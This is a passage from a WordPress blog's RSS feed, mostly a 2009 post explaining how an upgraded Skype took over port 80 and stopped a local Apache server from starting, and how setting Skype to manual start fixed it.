<a href="http://feedads.g.doubleclick.net/~a/wJ0TLPmTVubuosXK7n0S8fetZZU/1/da"><img src="http://feedads.g.doubleclick.net/~a/wJ0TLPmTVubuosXK7n0S8fetZZU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=yW_qJqOz8tA:-RYD-AJ-FmA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=yW_qJqOz8tA:-RYD-AJ-FmA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=yW_qJqOz8tA:-RYD-AJ-FmA:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/259/protecting-your-wordpress-blog-from-hackers-crackers-and-jerks/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Skype Can Be a Pain In the Ass</title>
		<link>http://ilikewordpress.com/260/skype-can-be-a-pain-in-the-ass/</link>
		<comments>http://ilikewordpress.com/260/skype-can-be-a-pain-in-the-ass/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 19:26:16 +0000</pubDate>
		<dc:creator>Steve</dc:creator>
				<category><![CDATA[Tech stuff]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[skype]]></category>
		<category><![CDATA[startup error]]></category>

		<guid isPermaLink="false">http://ilikewordpress.com/?p=260</guid>
		<description><![CDATA[I don&#8217;t restart my computer very often; it mostly runs 24/7. So when I did have occasion to do a restart, I was hit with the issue that my development instance of Apache wouldn&#8217;t start. I would get the error: &#8220;Windows could not start Apache 2.2 on Local Computer. For more information, review the System [...]]]></description>
			<content:encoded><![CDATA[<p></p>
<div><a href='http://twitter.com/home?status=Skype+Can+Be+a+Pain+In+the+Ass+http://is.gd/2XT1j+from:+@steveinidaho'><img class='tweetbadge alignright' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/ts-png.php?count=tweet' alt='' /></a></div>
<p>I don&#8217;t restart my computer very often; it mostly runs 24/7. So when I did have occasion to do a restart, I was hit with the issue that my development instance of Apache wouldn&#8217;t start. I would get the error: &#8220;Windows could not start Apache 2.2 on Local Computer. For more information, review the System Event Log. If this is a non-Microsoft service, contact the service vendor, and refer to service-specific error code 1.&#8221;</p>
<p>Never one to follow instructions, after several retries, much teeth-gnashing and hair-pulling, I decided I might make more headway were I to have a look at the Apache error log.</p>
<p>Nothing. Zip. Zilch. Zero. Nada. Just a note that the httpd.pid file had been overwritten.</p>
<p>So, maybe following suggestions is a good thing. Opened up the WinXP event viewer. Hallelujah, there it is.</p>
<p>&#8220;The Apache service named  reported the following error: &gt;&gt;&gt; no listening sockets available, shutting down.&#8221;</p>
<p>I have Apache configured to listen on port 80, so I don&#8217;t have to go through shenanigans when I&#8217;m developing a site. What this error is telling me is that port 80 isn&#8217;t available to attach to &#8211; probably because some other program got there first.</p>
<p>I&#8217;ve never had this problem before. What&#8217;s different between now and the last time I restarted my machine with no problems?</p>
<p><strong>Aha!</strong> I upgraded Skype.</p>
<p>Sure enough: shut down Skype, Apache starts up normally.</p>
<p>Skype was hijacking my listening socket, and because it&#8217;s higher up on the auto-start list than Apache, Apache choked.</p>
<p>AFAICT, this wasn&#8217;t previous Skype behavior. I&#8217;ve never had the issue before, so logically the last upgrade changed things.</p>
<p>So I set Skype to start manually instead of automatically. Problem solved.</p>
<p><strong>45 minutes wasted, never to return.</strong> I know that&#8217;s not much, but still.</p>
<div class='tweetbacks'><img style='padding-right: 5px;' src='http://ilikewordpress.com/wp-content/plugins/tweetsweetr/twitter.png' alt='' width='20' /><strong>No TweetBacks yet.</strong> (<a href='http://twitter.com/home?status=Skype+Can+Be+a+Pain+In+the+Ass+http://is.gd/2XT1j+from:+@steveinidaho'>Be the first to Tweet this post</a>)</div>
<p><a href="http://feedads.g.doubleclick.net/~a/t_SWQNyjRt83TZl-dBl179DfR-8/0/da"><img src="http://feedads.g.doubleclick.net/~a/t_SWQNyjRt83TZl-dBl179DfR-8/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/t_SWQNyjRt83TZl-dBl179DfR-8/1/da"><img src="http://feedads.g.doubleclick.net/~a/t_SWQNyjRt83TZl-dBl179DfR-8/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=XiRTHZOjpVs:y6mQfyn8Myg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ILikeWordpress?a=XiRTHZOjpVs:y6mQfyn8Myg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/ILikeWordpress?i=XiRTHZOjpVs:y6mQfyn8Myg:V_sGLiPBpWU" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://ilikewordpress.com/260/skype-can-be-a-pain-in-the-ass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
